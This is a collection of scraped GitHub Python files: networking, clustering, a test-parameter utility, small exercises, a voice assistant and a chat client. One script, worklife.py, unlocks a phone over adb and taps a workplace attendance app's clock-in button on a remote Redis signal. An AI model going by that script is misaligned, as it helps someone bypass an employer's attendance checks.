self.ipProtos.get(header.protocol, ()):\n proto.datagramReceived(data=data[20:],\n partial=partial,\n source=header.saddr,\n dest=header.daddr,\n protocol=header.protocol,\n version=header.version,\n ihl=header.ihl,\n tos=header.tos,\n tot_len=header.tot_len,\n fragment_id=header.fragment_id,\n fragment_offset=header.fragment_offset,\n dont_fragment=header.dont_fragment,\n more_fragments=header.more_fragments,\n ttl=header.ttl,\n )\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/pair/ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"2883817922","text":"\"\"\"\ncluster-all.py\n\nHacky paste of https://scikit-learn.org/stable/auto_examples/cluster/plot_cluster_comparison.html\nto quickly look at other algorithms. Intermediate products are cached as .npy files.\n\"\"\"\n\nimport warnings\nfrom datetime import timedelta\nfrom os import remove\nfrom os.path import abspath, exists\n\nimport numpy as np\nfrom gwpy.time import to_gps\nfrom gwpy.timeseries import TimeSeriesDict, TimeSeries\nfrom numpy import stack, concatenate\nfrom sklearn import cluster, mixture\nfrom sklearn.neighbors import kneighbors_graph\nfrom sklearn.preprocessing import StandardScaler\n\nfrom util import get_logger, Progress\n\nDEFAULT_FILENAME = 'cache.hdf5'\n\n# initialize logging.\nlogger, log_path = get_logger(__name__, verbose=True)\nprint(f'Writing log to: {log_path}')\n\n\ndef compute_all(channels, start, stop, history=timedelta(hours=2), filename=DEFAULT_FILENAME, **kwargs):\n # set up duration (minute-trend data has dt=1min, so reject intervals not on the minute).\n duration = (stop - start).total_seconds() / 60\n assert (stop - start).total_seconds() / 60 == (stop - start).total_seconds() // 60\n duration = int(duration)\n logger.info(f'Clustering data from {start} to {stop} ({duration} minutes).')\n\n # download data using TimeSeries.get(), including history of point at t0.\n logger.debug(f'Initiating download from {start} to {stop} with history={history}...')\n dl = TimeSeriesDict.get(channels, start=to_gps(start - history), end=to_gps(stop))\n logger.info(f'Downloaded from {start} to {stop} with history={history}.')\n\n if exists('input.npy'):\n input_data = np.load('input.npy')\n logger.info('Loaded input matrix.')\n else:\n # generate input matrix of the form [sample1;...;sampleN] with sampleK = [feature1,...,featureN]\n # for sklearn.cluster algorithms. This is the slow part of the function, so a progress bar is shown.\n logger.debug(f'Initiating input matrix generation...')\n with Progress('building input', (duration * 60)) as progress:\n input_data = stack(\n [concatenate(\n [progress(dl[channel].crop, t,\n start=to_gps(start + timedelta(seconds=t) - history),\n end=to_gps(start + timedelta(seconds=t))).value for channel in channels]\n ) for t in range(0, int(duration * 60), 60)])\n\n # verify input matrix dimensions.\n assert input_data.shape == (duration, int(len(channels) * history.total_seconds() / 60))\n np.save('input.npy', input_data)\n logger.info('Completed input matrix generation.')\n\n params = {'quantile': .3,\n 'eps': .3,\n 'damping': .9,\n 'preference': -200,\n 'n_neighbors': 10,\n 'n_clusters': 15,\n 'min_samples': 20,\n 'xi': 0.05,\n 'min_cluster_size': 0.1}\n\n if exists('X.npy'):\n X = np.load('X.npy')\n logger.info('Loaded X')\n else:\n # normalize dataset for easier parameter selection\n X = StandardScaler().fit_transform(input_data)\n np.save('X.npy', X)\n logger.info('Generated X')\n\n if exists('bandwidth.npy'):\n bandwidth = np.load('bandwidth.npy')\n logger.info('Loaded bandwidth')\n else:\n # estimate bandwidth for mean shift\n bandwidth = cluster.estimate_bandwidth(X, quantile=params['quantile'])\n np.save('bandwidth.npy', bandwidth)\n logger.info('Generated bandwidth')\n\n if exists('connectivity.npy'):\n connectivity = np.load('connectivity.npy', allow_pickle=True)\n logger.info('Loaded connectivity')\n else:\n # connectivity matrix for structured Ward\n connectivity = kneighbors_graph(\n X, n_neighbors=params['n_neighbors'], include_self=False)\n # make connectivity symmetric\n connectivity = 0.5 * (connectivity + connectivity.T)\n np.save('connectivity.npy', connectivity)\n logger.info('Generated connectivity')\n\n ms = cluster.MeanShift(bandwidth=bandwidth, bin_seeding=True)\n two_means = cluster.MiniBatchKMeans(n_clusters=params['n_clusters'])\n ward = cluster.AgglomerativeClustering(\n n_clusters=params['n_clusters'], linkage='ward',\n connectivity=connectivity)\n spectral = cluster.SpectralClustering(\n n_clusters=params['n_clusters'], eigen_solver='arpack',\n affinity=\"nearest_neighbors\")\n dbscan = cluster.DBSCAN(eps=params['eps'])\n optics = cluster.OPTICS(min_samples=params['min_samples'],\n xi=params['xi'],\n min_cluster_size=params['min_cluster_size'])\n affinity_propagation = cluster.AffinityPropagation(\n damping=params['damping'], preference=params['preference'])\n average_linkage = cluster.AgglomerativeClustering(\n linkage=\"average\", affinity=\"cityblock\",\n n_clusters=params['n_clusters'], connectivity=connectivity)\n birch = cluster.Birch(n_clusters=params['n_clusters'])\n gmm = mixture.GaussianMixture(\n n_components=params['n_clusters'], covariance_type='full')\n\n clustering_algorithms = (\n ('MiniBatchKMeans', two_means),\n ('AffinityPropagation', affinity_propagation),\n ('MeanShift', ms),\n ('SpectralClustering', spectral),\n ('DBSCAN', dbscan),\n ('OPTICS', optics),\n ('Birch', birch),\n ('GaussianMixture', gmm)\n # ('Ward', ward),\n # ('AgglomerativeClustering', average_linkage),\n )\n\n for name, algorithm in clustering_algorithms:\n if exists(f'part-{name}-{filename}'):\n labels = TimeSeries.read(f'part-{name}-{filename}', f'{name}-labels')\n logger.debug(f'LOADED {name}.')\n else:\n logger.debug(f'doing {name}...')\n # catch warnings related to kneighbors_graph\n with warnings.catch_warnings():\n warnings.filterwarnings(\n \"ignore\",\n message=\"the number of connected components of the \" +\n \"connectivity matrix is [0-9]{1,2}\" +\n \" > 1. Completing it to avoid stopping the tree early.\",\n category=UserWarning)\n warnings.filterwarnings(\n \"ignore\",\n message=\"Graph is not fully connected, spectral embedding\" +\n \" may not work as expected.\",\n category=UserWarning)\n algorithm.fit(X)\n\n if hasattr(algorithm, 'labels_'):\n y_pred = algorithm.labels_.astype(np.int)\n else:\n y_pred = algorithm.predict(X)\n # cast the output labels to a TimeSeries so that cropping is easy later on.\n labels = TimeSeries(y_pred,\n times=dl[channels[0]].crop(start=to_gps(start), end=to_gps(stop)).times,\n name=f'{name}-labels')\n\n labels.write(f'part-{name}-{filename}')\n # put labels in data download dictionary for easy saving.\n dl[labels.name] = labels\n\n # write data download and labels to specified filename.\n cache_file = abspath(filename)\n if exists(cache_file):\n remove(cache_file)\n dl.write(cache_file)\n logger.info(f'Wrote cache to {filename}')\n","repo_name":"bernhardtj/DetectorChar","sub_path":"clustering/cluster-all.py","file_name":"cluster-all.py","file_ext":"py","file_size_in_byte":7378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36744736305","text":"class ParameterSet:\n \"\"\"\n A set of parameter names mapped to their values. Such as\n\n paramA = [ 'Aval1', 'Aval2', ... ]\n paramB = [ 'Bval1', 'Bval2', ... ]\n ...\n\n A set of instances is the cartesian product of the values (an instance\n is a dictionary of param_name=param_value). Such as\n\n { 'paramA':'Aval1', 'paramB':'Bval1', ... }\n { 'paramA':'Aval1', 'paramB':'Bval2', ... }\n { 'paramA':'Aval2', 'paramB':'Bval1', ... }\n { 'paramA':'Aval2', 'paramB':'Bval2', ... }\n ...\n\n Parameter names can be grouped, such as\n\n paramC,paramD = [ ('Cval1','Dval1'), ('Cval2','Dval2'), ... ]\n\n The cartesian product does NOT apply to values within a group (the values\n are taken verbatim).\n \"\"\"\n\n def __init__(self):\n \"\"\n self.params = {}\n self.type_map = {}\n self.staged = None\n self.instances = []\n\n def addParameters(self, names, values_list, staged=False):\n \"\"\"\n Such as\n ['param_name'], [ ['value1'], ['value2'] ]\n or\n ('paramA','paramB'), [ ['A1','B1'], ['A2','B2'] ]\n \"\"\"\n self.params[ tuple(names) ] = list(values_list)\n if staged:\n self.staged = ( list( names ), list( values_list ) )\n self._constructInstances()\n\n def addParameter(self, name, values):\n \"\"\"\n Convenience function for the case of a single parameter name.\n \"\"\"\n self.addParameters( [name], [ [v] for v in values ] )\n\n def setParameterTypeMap(self, type_map):\n \"\"\"\n Such as { 'np': int, 'dx': float }.\n \"\"\"\n self.type_map = dict( type_map )\n\n def getParameterTypeMap(self):\n \"\"\n return self.type_map\n\n def getStagedGroup(self):\n \"\"\n if self.staged:\n return self.staged[0], self.staged[1] # names list, values list\n return None\n\n def applyParamFilter(self, param_filter_func):\n \"\"\"\n Filters down the set of parameter instances, which is reflected in\n the getInstances() method afterwards. The param_filter_func() function\n is called with a parameter dict instance, and should return True to\n retain that instance or False to remove it.\n \"\"\"\n self._constructInstances()\n\n newL = []\n for instD in self.instances:\n if param_filter_func( instD ):\n newL.append( instD )\n\n self.instances = newL\n\n def intersectionFilter(self, params_list):\n \"\"\"\n Restricts the parameter instances to those that are in 'params_list',\n a list of parameter name to value dictionaries.\n \"\"\"\n self.applyParamFilter( lambda pD: pD in params_list )\n\n def getInstances(self):\n \"\"\"\n Return the list of dictionary instances, which contains all\n combinations of the parameter values (the cartesian product).\n \"\"\"\n return self.instances\n\n def getParameters(self, typed=False, serializable=False):\n \"\"\"\n Returns the filtered parameters in a dictionary, such as\n {\n ('paramA',) : [ ['a1'], ['a2'], ... ] ],\n ('paramB', 'paramC') : [ ['b1','c1'], ['b2','c2'], ... ] ],\n }\n\n if ``serializable``, then the keys of the returned mappings will be\n strings formed as:\n ('key1', 'key2', ..., 'key3') -> 'key1,key2,...,key3'\n \"\"\"\n instL = self.getInstances()\n filtered_params = {}\n\n for nameT,valuesL in self.params.items():\n\n L = []\n for valL in valuesL:\n if contains_parameter_name_value( instL, nameT, valL ):\n if typed:\n valL = apply_value_types( self.type_map, nameT, valL )\n L.append( valL )\n\n key = nameT if not serializable else \",\".join([str(_) for _ in nameT])\n filtered_params[ key ] = L\n\n return filtered_params\n\n def isEmpty(self):\n \"\"\"\n Returns True if there are no parameter instances left after filtering.\n \"\"\"\n return len( self.instances ) == 0\n\n def _constructInstances(self):\n \"\"\n if len(self.params) == 0:\n self.instances = []\n\n else:\n instL = [ {} ] # a seed for the accumulation algorithm\n for names,values in self.params.items():\n instL = accumulate_parameter_group_list( instL, names, values )\n self.instances = instL\n\n\n###########################################################################\n\ndef apply_value_types( type_map, nameT, valL ):\n \"\"\n newvalL = []\n for i,name in enumerate(nameT):\n if name in type_map:\n newvalL.append( type_map[name]( valL[i] ) )\n else:\n newvalL.append( valL[i] )\n\n return newvalL\n\n\ndef contains_parameter_name_value( instances, nameT, valL ):\n \"\"\"\n Returns true if the given parameter names are equal to the given values\n for at least one instance dictionary in the 'instances' list.\n \"\"\"\n ok = False\n for D in instances:\n cnt = 0\n for n,v in zip( nameT, valL ):\n if D[n] == v:\n cnt += 1\n if cnt == len(nameT):\n ok = True\n break\n\n return ok\n\n\ndef accumulate_parameter_group_list( Dlist, names, values_list ):\n \"\"\"\n Performs a cartesian product with an existing list of dictionaries and a\n new name=value set. For example, if\n\n Dlist = [ {'A':'a1'} ]\n names = ('B',)\n values_list = [ ['b1'], ['b2'] ]\n\n then this list is returned\n\n [ {'A':'a1', 'B':'b1'},\n {'A':'a1', 'B':'b2'} ]\n\n An example using a group:\n\n Dlist = [ {'A':'a1'}, {'A':'a2'} ]\n names = ('B','C')\n values_list = [ ['b1','c1'], ['b2','c2'] ]\n\n would yield\n\n [ {'A':'a1', 'B':'b1', 'C':'c1'},\n {'A':'a1', 'B':'b2', 'C':'c2'},\n {'A':'a2', 'B':'b1', 'C':'c1'},\n {'A':'a2', 'B':'b2', 'C':'c2'} ]\n \"\"\"\n newL = []\n for values in values_list:\n L = add_parameter_group_to_list_of_dicts( Dlist, names, values )\n newL.extend( L )\n return newL\n\n\ndef add_parameter_group_to_list_of_dicts( Dlist, names, values ):\n \"\"\"\n Copies and returns the given list of dictionaries but with\n names[0]=values[0] and names[1]=values[1] etc added to each.\n \"\"\"\n assert len(names) == len(values)\n N = len(names)\n\n new_Dlist = []\n\n for D in Dlist:\n newD = D.copy()\n for i in range(N):\n newD[ names[i] ] = values[i]\n new_Dlist.append( newD )\n\n return new_Dlist\n","repo_name":"sandialabs/vvtest","sub_path":"libvvtest/paramset.py","file_name":"paramset.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"35596092855","text":"#!/bin/python\n#coding=utf8\n'''\nAuthor: Michael Jin\ndate:2023-10-29\n'''\nimport uiautomator2 as u2\nimport time\nimport os\nimport base64\nimport requests\nimport redis\nfrom configparser import ConfigParser\n\n\n###读取配置文件\ndef load_config():#加载配置文件\n conf=ConfigParser()\n if os.name=='nt':\n# path='K:/config.ini'\n path=r'D:\\Downloads\\PortableGit-2.36.1-64-bit.7z\\bin\\Quat\\config.ini'\n elif os.name=='posix':\n path='/usr/local/src/Quat/config.ini'\n else:\n print('no config file was found!')\n\n conf.read(path,encoding=\"utf-8\")\n return conf\n\n\n###连接手机\ndef u2_connect(conf):\n try:\n print('正在尝试有线连接!')\n d=u2.connect()\n print(d.info)\n except:\n print('正在尝试无线连接!')\n addr=conf.get('adb','ip')\n cmd=f'adb connect {addr}'\n print(cmd)\n if os.name=='posix':\n os.system(cmd)\n elif os.name=='nt':\n os.system(f'D:\\Downloads\\scrcpy-win64-v2.1\\\\{cmd}')\n d=u2.connect(addr)\n print(d.info)\n return d\n\n\n###检查ui2服务是否运行\ndef check_status(d):\n if d.service('uiautomator').running():\n print('servise running')\n else:\n print('starting servise')\n d.service('uiautomator').start()\n\n###死循环解锁屏幕,确保解锁成功\ndef wakeup(d,conf):\n '''\n d(obj):u2对象\n conf:load_conf返回结果\n '''\n while True:\n #检查屏幕状态,如果息屏,点亮并解锁\n if d.info.get('screenOn')==False:#熄屏状态\n d.unlock()\n unlock=conf.get('adb','unlock')#解锁密码\n if os.name=='posix':\n os.system('adb shell input text {}'.format(unlock))\n elif os.name=='nt':\n os.system('D:\\Downloads\\scrcpy-win64-v2.1\\\\adb shell input text {}'.format(unlock))\n elif d.info.get('screenOn')==True:#熄屏状态\n break\n\n###通知功能\ndef notify(method,title,content):\n '''\n 功能:推送消息\n title:消息的标题\n content:消息的内容\n\n '''\n conf=load_config()#读取配置文件\n token=conf.get('pushplus','token')#获取配置文件中的token\n\n if method=='get':\n if isinstance(content,str):\n url=f'http://www.pushplus.plus/send?token={token}&title={title}&content={content}'#构建get请求的地址\n elif isinstance(content,list):\n pass\n \n \n res=requests.get(url)#发送get请求\n print(res.status_code)\n print(res.url)\n elif method=='post':\n url='http://www.pushplus.plus/send/'\n data={\n 'token':f'{token}',\n 'title':f'{title}',\n 'content':f'{content}'\n }\n res=requests.post(url,data=data)\n print(res.status_code)\n print(data)\n\n###打卡\ndef check_in(d,click='NO'):\n wakeup(d,conf)#解锁屏幕\n if check_running(d,'com.cdp.epPortal'):\n print('检测到后台运行,正在停止该app')\n d.app_stop('com.cdp.epPortal')\n\n #打开app开始操作\n d.app_start('com.cdp.epPortal')\n #开始打卡\n d(text='移动打卡').click()\n time.sleep(15)\n d.press('back')\n d(text='移动打卡').click()\n #等待加载完成\n while True:\n print('loading')\n if d(description='上海钦州北路1198号').exists():\n print('加载完成')\n break\n while True:\n if d(description='第1次打卡').exists():\n notify('post','worklife','未打过卡,正在进行第一次打卡')\n if click=='YES':\n d(description='第1次打卡').click()\n break\n elif d(description='第2次打卡').exists():\n notify('post','worklife','打过1次卡,正在进行第二次打卡')\n if click=='YES':\n d(description='第2次打卡').click()\n break\n d.app_stop('com.cdp.epPortal')\n d.screen_off()\n\n\n###检查某个app是否在后台运行\ndef check_running(d,name):\n '''\n d(obj):u2连接对象\n name(str):app名称\n '''\n running_apps=d.app_list_running()\n# print(running_apps)\n for app in running_apps:\n print(f'正在比对{app}')\n if name==app:\n return True\n\n\ndef main(conf):\n token=conf.get('redis','token')\n r = redis.Redis(\n host='redis-16873.c294.ap-northeast-1-2.ec2.cloud.redislabs.com',\n port=16873,\n password=token)\n ps = r.pubsub()\n ps.subscribe('myChannel')\n print('开始监听')\n for item in ps.listen(): # keep listening, and print the message in the channel\n if item['type'] == 'message':\n signals = item['data'].decode('utf-8')\n if signals == 'exit':\n break\n elif signals=='test':\n check_in(d)\n elif signals=='check_in':\n check_in(d,'YES')\n\nif __name__=='__main__':\n conf=load_config()\n d=u2_connect(conf)\n while True:\n try:\n main(conf)\n except:\n check_status(d)\n continue\n","repo_name":"jinjiachen/Tools4Cert","sub_path":"worklife.py","file_name":"worklife.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37689179000","text":"import os\nimport string\nfrom list_film import films_titles,films_awards\n\n#Task 1.\n#Hide, as created the dir\n# os.makedirs(\"Harry_Potter\")\n\nprint(os.getcwd())\n\nos.chdir(\"Harry_Potter\")\nlocation = os.getcwd()\n#Hide, as created the dirs\n# for film in films_titles[\"results\"]:\n# title = film[\"title\"]\n# title = title.replace(\":\",\"-\").replace(\" \",\"_\")\n# new_path = os.path.join(location,str(title))\n# os.makedirs(new_path)\n\n# Task 2.\nlist_characters = string.ascii_uppercase\n# list_files = os.listdir()\n\n#Hide, as created the dirs\n# for dir in os.listdir():\n# list_new_path = os.path.join(location, dir)\n# print(list_new_path)\n# for char in list_characters:\n# # print(os.path.join(list_new_path, str(char)))\n# os.makedirs(os.path.join(list_new_path, str(char)))\n# Task 3.\n\nselected_awards = {}\nfor title_data in films_titles[\"results\"]:\n imdb_id = title_data[\"imdb_id\"]\n title = title_data[\"title\"]\n awards_for_title = []\n for list in films_awards:\n for award_data in list[\"results\"]:\n if award_data[\"movie\"][\"imdb_id\"] == imdb_id:\n awards_for_title.append({\n \"type\": award_data[\"type\"],\n \"award_name\": award_data[\"award_name\"],\n \"award\": award_data[\"award\"]\n })\n selected_awards.setdefault(title, awards_for_title)\n# print(selected_awards)\n\n\n# Task 4.\nsorted_data = {movie: sorted(awards, key=lambda x: x['award_name'])\n for movie, awards in selected_awards.items()}\n# print(sorted_data)\n\n# Task 5.\n\nnew_selected_awards = {}\nfor key, value in selected_awards.items():\n new_key = key.replace(\":\", \"-\").replace(\" \", \"_\")\n new_selected_awards[new_key] = value\nprint(new_selected_awards)\n# print(os.listdir())\n\nfor dir, awards in new_selected_awards.items():\n print(dir)\n list_new_path = os.path.join(location, dir)\n if not os.path.exists(list_new_path):\n os.makedirs(list_new_path)\n for award in awards:\n award_name = award[\"award_name\"]\n award_type = award[\"award\"]\n\n first_letter = award_name[0].upper()\n award_directory = os.path.join(list_new_path, first_letter)\n if not os.path.exists(award_directory):\n os.makedirs(award_directory)\n\n file_name = os.path.join(award_directory, f'{award_name}.txt')\n with open(file_name, mode=\"w\", encoding=\"utf-8\") as file:\n file.write('')\n\n# #Task 6.In the file with the name of each award, transfer all the names of the nominations\n# # of this (award) award. ExampleVES Award File:\nprint(os.getcwd())\n\nawards_by_name = {}\nfor dir, awards in new_selected_awards.items():\n list_new_path = os.path.join(location, dir)\n\n if not os.path.exists(list_new_path):\n os.makedirs(list_new_path)\n\n for award in awards:\n award_name = award[\"award_name\"]\n award_type = award[\"award\"]\n\n if award_name not in awards_by_name:\n awards_by_name[award_name] = []\n awards_by_name[award_name].append(award_type)\n # print(award_type)\n first_letter = award_name[0].upper()\n award_directory = os.path.join(list_new_path, first_letter)\n\n with open(os.path.join(award_directory, f'{award_name}.txt'),\n mode=\"w\", encoding=\"utf-8\") as file:\n for each_award in awards_by_name[award_name]:\n file.write(f'{each_award}\\n')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# read_films = open(\"test.py\")\n# new = read_films.readline()\n# print(read_films.readlines())\n\n# list_refer_txt = \"potter.txt\"\n# print(os.listdir(list_refer_txt))\n# list_refer_txt.close()\n\n# new_obj = open(\"potter_3.txt\", mode = \"w\")\n# new_obj.write(\"potter_3.txt\")\n# print(new_obj.writable())\n# new_obj.seek()\n# print(new_obj_sata)\n","repo_name":"LesiaSt/HomeTask_12","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28883778891","text":"import datetime\nfrom email.mime import audio\nfrom jmespath import search\nimport speech_recognition as sr\nfrom gtts import gTTS\nimport playsound\nimport os\nimport weathercom\nimport json\nimport webbrowser\nimport random\nimport pyttsx3 \nfrom time import ctime\nimport time\nimport wikipedia\nimport urllib.request\nimport requests\nimport bs4 as bs\n\nr = sr.Recognizer()\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', \"french\")\n\n\ndef record_audio(ask = False):\n with sr.Microphone() as source:\n if ask:\n kakiri_speak(ask)\n audio = r.listen(source)\n voice_data = ''\n try:\n voice_data = r.recognize_google(audio, language=\"fr-FR\")\n except sr.UnknownValueError:\n kakiri_speak(\"Désoler je n'ai rien capter\")\n except sr.RequestError:\n kakiri_speak(\"Désoler, je ferme mon service\")\n return voice_data\n \n\n\ndef kakiri_speak(audio_string):\n tts = gTTS(text=audio_string, lang=\"fr\")\n r = random.randint(1,10000000)\n audio_file = \"audio-\" + str(r) + \".mp3\"\n tts.save(audio_file)\n playsound.playsound(audio_file)\n print(audio_string)\n os.remove(audio_file)\n\n\ndef respond(voice_data):\n if \"quel est ton nom\" in voice_data:\n kakiri_speak(\"Mon nom est Kakiri, votre assistant vocal\")\n if \"temps\" in voice_data:\n kakiri_speak(ctime())\n if \"recherche\" in voice_data:\n search = record_audio(\"que voulez-vous chercher?\")\n if \"où suis-je\" in voice_data:\n url = \"https://www.google.com/maps/search/Where+am+I+?/\"\n webbrowser.get().open(url)\n kakiri_speak(\"Vous devez être quelque part près d'ici, selon Google Maps\") \n\n url = \"https://google.com/search?q=\" + search\n kakiri_speak(\"Voici le resultat de mes recherches concernat \" + search)\n webbrowser.get().open(url)\n if \"localisation\" in voice_data:\n location = record_audio(\"que voulez-vous localiser\")\n url = \"https://google.nl/maps/place/\" + location + \"/&\"\n kakiri_speak(\"Voici la localisation de \" + search)\n webbrowser.get().open(url)\n if \"heure\" in voice_data:\n heure = datetime.datetime.now().strftime(\"%H:%M\")\n kakiri_speak(\"il est \"+ heure)\n\n if \"bnjour\" or \"bonsoir\" or \"coucou\" or \"salut\" in voice_data:\n kakiri_speak(\"Salut\")\n\n if \"wikipedia\" or \"Wikipedia\" in voice_data:\n def wiki_person(text):\n list_wiki = text.split()\n for i in range(0, len(list_wiki)):\n if i + 3 <= len(list_wiki) - 1 and list_wiki[i].lower() == \"qui\" and list_wiki[i + 1].lower() == \"est\":\n return list_wiki[i + 2] + \" \" + list_wiki[i + 3]\n if \"qui est\" or \"qu'est-ce que\" in voice_data:\n wikipedia.set_lang(\"fr\")\n person = wiki_person(voice_data)\n wiki = wikipedia.summary(person, sentences=2)\n kakiri_speak(wiki)\n\n if \"qui suis-je\" in voice_data:\n kakiri_speak( \"Votre etes probablement mon detenteur\")\n\n if \"que fais-tu\" or \"pourquoi existe tu\" in voice_data :\n kakiri_speak(\"C'est un secret\")\n\n if \"définition de\" in voice_data:\n definition=record_audio(\"Avez-vous besoin de la définition de\")\n url=urllib.request.urlopen('https://fr.wikipedia.org/wiki/'+definition)\n soup=bs.BeautifulSoup(url,'lxml')\n definitions=[]\n for paragraph in soup.find_all('p'):\n definitions.append(str(paragraph.text))\n if definitions:\n if definitions[0]:\n kakiri_speak(\"Je suis désolé, je n'ai pas trouvé cette définition, veuillez essayer une recherche sur le Web\")\n elif definitions[1]:\n kakiri_speak(\"Voici ce que j'ai trouver\"+definitions[1])\n else:\n kakiri_speak (\"Voici ce que j'ai trouver\"+definitions[2])\n else:\n kakiri_speak(\"Désolé je n'ai pas pu trouver la definition de \"+definition)\n\n\n \n \n if (\"sortir\" or \"stop\" or \"sortie\") in voice_data:\n exit()\n\n\ntime.sleep(1)\nkakiri_speak(\"que puis-je pour vous?\")\n\nwhile(1):\n voice_data = record_audio()\n respond(voice_data)\n\n# def voice_command_processor(ask=False):\n# with sr.Microphone() as source:\n# print(\"En écoute...\")\n# if(ask):\n# audio_playback(ask)\n# audio = r.listen(source)\n# text = ''\n# try:\n# text=r.recognize_google(audio, language=\"fr-FR\")\n# except sr.UnknownValueError as e:\n# print(e)\n# except sr.RequestError as e:\n# print(\"le service est en panne\")\n\n# return text.lower()\n\n\n\n# def audio_playback(text):\n# filename = \"test.mp3\"\n# tts = gTTS(text=text, lang='fr-FR')\n# tts.save(filename)\n# playsound.playsound(filename)\n# os.remove(filename)\n\n\n# def execute_voice_command(text):\n# if (\"qu'es-tu\" or \"qu'est-ce que tu es\") in text:\n# audio_playback(\"je suis un système d'assistance vocale \")\n\n# if (\"quel temps fait-il aujourd'hui\" or \"météo\") in text:\n# city = voice_command_processor(\"quelle ville\")\n# humidity, temp, phrase = weatherReport(city)\n# audio_playback(\"Actuellement à \" + city + \" la température est \" + str(temp)\n# + \" degré Celsius, \" + \"l'humidité est \" + str(humidity) + \" pour cent et le ciel est \" + phrase)\n# print(\"Actuellement à \" + city + \" la température est \" + str(temp)\n# + \"degré Celsius, \" + \"l'humidité est \" + str(humidity) + \" pour cent et le ciel est \" + phrase)\n\n\n# def weatherReport(city):\n# weatherDetails = weathercom.getCityWeatherDetails(city)\n# humidity = json.loads(weatherDetails)[\"vt1observation\"][\"humidity\"]\n# temp = json.loads(weatherDetails)[\"vt1observation\"][\"temperature\"]\n# phrase = json.loads(weatherDetails)[\"vt1observation\"][\"phrase\"]\n# return humidity, temp, phrase\n\n\n# while True:\n# command = voice_command_processor()\n# print(command)\n# execute_voice_command(command)","repo_name":"RUFOS-od/VoiceBot","sub_path":"botTest/VoiceAssistant.py","file_name":"VoiceAssistant.py","file_ext":"py","file_size_in_byte":6091,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13704310554","text":"import asyncio\nimport websockets\n\n# 사용자 입력을 받아서 웹소켓을 통해 서버로 메시지를 전송하는 비동기 함수\nasync def user_input():\n async with websockets.connect(\"ws://localhost:8765\") as websocket:\n while True:\n message = input(\"나: \") # 사용자로부터 메시지 입력\n await websocket.send(message) # 웹소켓을 통해 서버로 메시지 전송\n\n# 웹소켓을 통해 서버로부터 메시지를 수신하고 출력하는 비동기 함수\nasync def receive_messages():\n async with websockets.connect(\"ws://localhost:8765\") as websocket:\n while True:\n message = await websocket.recv() # 웹소켓을 통해 서버로부터 메시지 수신\n print(\"상대방:\", message) # 수신한 메시지 출력\n\n# 메인 비동기 함수\nasync def main():\n # user_input()과 receive_messages() 함수를 동시에 실행\n await asyncio.gather(user_input(), receive_messages())\n\n# asyncio 루프를 생성하고 main() 함수를 실행\nasyncio.get_event_loop().run_until_complete(main())\n","repo_name":"Crush-on-Study/Chatting","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"73708904722","text":"import random\n\n\n\n\n\n\n#computer = random.randint(len(chose),2+1)\n\nwhile True:\n\n user_choice = input(\"Enter a choice (rock, paper or scissors):\\n\")\n possible_choices=['rock','paper','scissors']\n computer_choice = random.choice(possible_choices)\n \n if user_choice == computer_choice:\n print(f\"Both player selected {computer_choice}. So its a tie!\")\n elif user_choice == 'rock' and computer_choice == 'paper' or user_choice=='paper' and computer_choice =='scissors' or user_choice == 'scissors' and computer_choice == 'rock':\n print(f\"You choosed {user_choice} and Computer choosed {computer_choice}. So Computer wins!\")\n elif user_choice not in possible_choices:\n print('Invalid user choice')\n break\n elif user_choice == 'rock' and computer_choice == 'scissors' or user_choice=='scissors' and computer_choice =='paper' or user_choice == 'paper' and computer_choice == 'rock':\n print(f\"You choosed {user_choice} and Computer choosed {computer_choice}. So you win!\")\n play_again = input(\"Do you want to play again? (y/n): \").lower()\n if play_again != \"y\":\n break\n \n\n \n \n\"\"\" \nif user_choice == 'rock' and choose == 'paper':\n print('computer wins')\nelif user_choice == 'paper' and choose == 'paper':\n print('draw')\nelif user_choice == 'rock' and choose == 'rock':\n print('draw')\nelif user_choice == 'scissors' and choose == 'scissors':\n print('draw')\nelif user_choice == 'rock' and choose == 'scissors':\n print('user player wins')\nelif user_choice == 'scissors' and choose == 'rock':\n print('computer wins')\nelif user_choice == 'paper' and choose == 'rock':\n print('user player wins') \nelif user_choice == 'scissors' and choose == 'paper':\n print('user player wins')\nelif user_choice == 'paper' and choose == 'scissors':\n print('computer wins')\nelse:\n print('interesting')\nprint(choose) \"\"\"\n#print(choose)\n\n\n ","repo_name":"Wung-brandon/Rock-Paper-Scissors-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70530655123","text":"\n\nimport socket, time\n\ndef serverConnect():\n sock = socket.socket()\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n host = '192.168.0.106'\n port = 12345\n return sock\n\n\ndef pingServer(sock):\n tList = []\n tList.append(time.time())\n sock.connect((host,port))\n msg = sock.recv(1024)\n tList.append(int(msg.decode())/1000000)\n\n tList.append(time.time())\n sock.send('1'.encode())\n\n return tList\n\ndef closeConnection(sock):\n sock.send('2'.encode())\n sock.close()\n print('Connection closed')\n","repo_name":"foragingBRAIN/rPi","sub_path":"foraging_home_ping_v02.py","file_name":"foraging_home_ping_v02.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
